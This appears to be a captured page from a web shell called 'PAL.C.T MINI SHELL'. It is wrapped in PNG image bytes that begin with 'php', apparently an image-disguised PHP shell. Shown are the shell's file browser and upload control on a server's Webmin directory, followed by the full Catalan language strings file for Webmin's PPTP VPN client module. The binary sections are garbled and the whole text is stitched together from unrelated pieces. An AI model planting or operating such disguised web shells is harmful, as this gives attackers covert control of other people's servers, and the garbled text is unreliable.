php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/pptp-client/lang/
upload
files >> //usr/libexec/webmin/pptp-client/lang/ca

index_title=Client VPN PPTP
index_epptp=No s'ha trobat al sistema el programa client PPTP $1. Pot ser que no estigui instal·lat, o bé que la <a href='$2'>configuració del mòdul</a> sigui incorrecta.
index_eppp=El programa servidor PPP $1 no està instal·lat al sistema. PPTP en depèn per poder operar.
index_eoptions=El fitxer d'opcions globals PPP de PPTP $1 no existeix. Crea'l o bé canvia la <a href='$2'>configuració del mòdul</a> per utilitzar un fitxer diferent o cap en absolut.
index_header=Túnels Definits
index_none=Encara no s'ha definit cap túnel PPTP.
index_tunnel=Túnel $1
index_add=Afegeix un nou túnel VPN PPTP.
index_conn=Connecta't a:
index_pass=amb la contrasenya opcional:
index_conndesc=Fes clic sobre aquest botó per connectar el túnel VPN PPTP seleccionat utilitzant la seva configuració actual.
index_disc=Desconnecta:
index_discdesc=Fes clic sobre aquest botó per desconnectar el túnel VPN PPTP actiu seleccionat i treure totes les rutes que hi passen.
index_return=a la llista de túnels PPTP
index_opts=Edita les Opcions Globals PPP
index_optsdesc=Fes clic sobre aquest botó per editar les opcions PPP que s'apliquen a tots els túnels VPN PPTP.
index_version=PPPd versió $1
index_boot=Connecta en engegar:
index_noboot=&lt;No connectis&gt;
index_bootdesc=Canvia aquesta opció per controlar si la connexió VPN PPTP s'inicia en engegar el sistema o no.

disc_err=No s'ha pogut desconnectar el túnel
disc_egone=Ja no està actiu
disc_ekill=No s'ha pogut matar el procés
disc_done=El túnel $1 s'ha desconnectat correctament.

conn_err=No s'ha pogut connectar el túnel
conn_egone=El túnel ja no existeix
cone_ealready=Ja està connectat
conn_einvalid=Hi falta l'adreça IP del servidor al fitxer de configuració
conn_title=Connexió al Túnel
conn_cmd=S'està establint una connexió PPTP amb l'ordre $1...
conn_ok=...connexió activada amb èxit utilitzant la interfície $1. La teva adreça local és $2, i l'adreça remota és $3.
conn_timeout=...la connexió ha fallat! Mira els missatges de registre més avall per saber-ne el perquè.
conn_routes=S'estan afegint rutes amb ordres...
conn_mppe=El protocol MPPE per a xifratge VPN necessita el dimoni PPP i suport del nucli. No obstant, l'error de més amunt suggereix que un dels dos o tots dos no estan disponibles al sistema. Si el servidor PPTP no exigeix MPPE, prova de desactivar totes les opcions relacionades a la pàgina d'<a href='$1'>Opcions Globals PPP</a>.

edit_title1=Addició de Túnel PPTP
edit_title2=Edició de Túnel PPTP
edit_header=Opcions del túnel VPN PPTP
edit_name=Nom del túnel
edit_server=Connecta't al servidor
edit_login=Entra com a usuari
edit_same=Nom de host del sistema
edit_pass=Entra amb la contrasenya
edit_remote=Nom del servidor
edit_auto=Automàtic
edit_adddef=Afegeix ruta per defecte
edit_def1=A través d'un altre lloc
edit_def2=A través del portal
edit_deldef=Suprimeix la ruta per defecte anterior
edit_routes=Rutes a afegir després de connectar
edit_type=Tipus
edit_type0= 
edit_type1=Xarxa
edit_type2=Host
edit_net=Xarxa o host
edit_mask=Màscara de subxarxa
edit_gw=A través del portal
edit_gw_def=Un altre lloc
edit_unknown=Altres ordres <tt>route</tt>
edit_file=Fitxer d'opcions PPP
edit_none=Cap
edit_global=Fitxer global estàndard
edit_ofile=Un altre fitxer...

save_err=No s'ha pogut desar el nom del túnel
save_ename=Hi falta el nom del túnel
save_eserver=Hi falta el servidor a connectar o bé és invàlid
save_elogin=Hi falta el nom d'usuari o bé és invàlid
save_eremote=Hi falta el nom del servidor remot o bé és invàlid
save_edef=Hi falta el portal de la ruta per defecte o bé és invàlid
save_enet=Adreça de xarxa invàlida a la ruta $1
save_emask=Màscara de subxarxa invàlida a la ruta $1
save_egw=Portal invàlid per a la xarxa a la ruta $1
save_ehost=Adreça IP del host invàlida a la ruta $1
save_emask2=No cal màscara per a la ruta del host $1
save_egw2=Portal del host invàlid a la ruta $1
save_erename=No s'ha pogut reanomenar el fitxer del túnel
save_eclash=Ja existeix un túnel o un <i>peer</i> PPP amb el mateix nom
save_efile=Hi falta el fitxer d'opcions PPP o bé és invàlid

opts_title=Opcions Globals del PPP
opts_desc=Els valors de sota es prenen de $1, i s'aplicaran a tots els túnels que es configurin per a utilitzar el fitxer estàndard d'opcions globals del PPP.
opts_header=Opcions PPP per a tots els túnels
opts_mtu=Mida màxima dels paquets enviats
opts_mru=Mida màxima dels paquets
opts_err=No s'han pogut desar les opcions globals del PPP
opts_emtu=Hi falta la mida màxima dels paquets enviats o bé és invàlida
opts_emru=Hi falta la mida màxima dels paquets rebuts o bé és invàlida
opts_msdesc=Les opcions de sota activen el xifratge MPPE, utilitzat pels servidors VPN de Windows. No obstant, MPPE necessita suport tant al dimoni PPP com al nucli del sistema operatiu.

mppe_mppe-40=Utilitza xifratge MPPE de 40 bits
mppe_mppe-128=Utilitza xifratge MPPE de 128 bits
mppe_mppe-stateless=Activa el mode MPPE sense estat
mppe_mppe=Activa el xifratge MPPE
mppe_m2=Cal utilitzar-lo
mppe_m0=No es pot utilitzar
mppe_d0=Desactivat
mppe_d1=Permès
mppe_mppe-stateful=Activa el mode MPPE amb estat
mppe_old=Atenció - S'han trobat les directives MPPE d'estil antic $1 al fitxer de configuració, tot i que el dimoni PPP suporta les directives d'estil nou.
mppe_new=Atenció - S'han trobat les directives MPPE d'estil nou $1 al fitxer de configuració, tot i que el dimoni PPP només suporta les directives d'estil antic.

log_create=S'ha creat el túnel PPTP $1
log_update=S'ha modificat el túnel PPTP $1
log_delete=S'ha suprimit el túnel PPTP $1
log_conn=S'ha connectat el túnel $1
log_conn_l=S'ha connectat el túnel $1 amb l'adreça local $2
log_failed=No s'ha pogut connectar el túnel $1
log_disc=S'ha desconnectat el túnel $1
log_opts=S'han editat les opcions globals del PPP
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`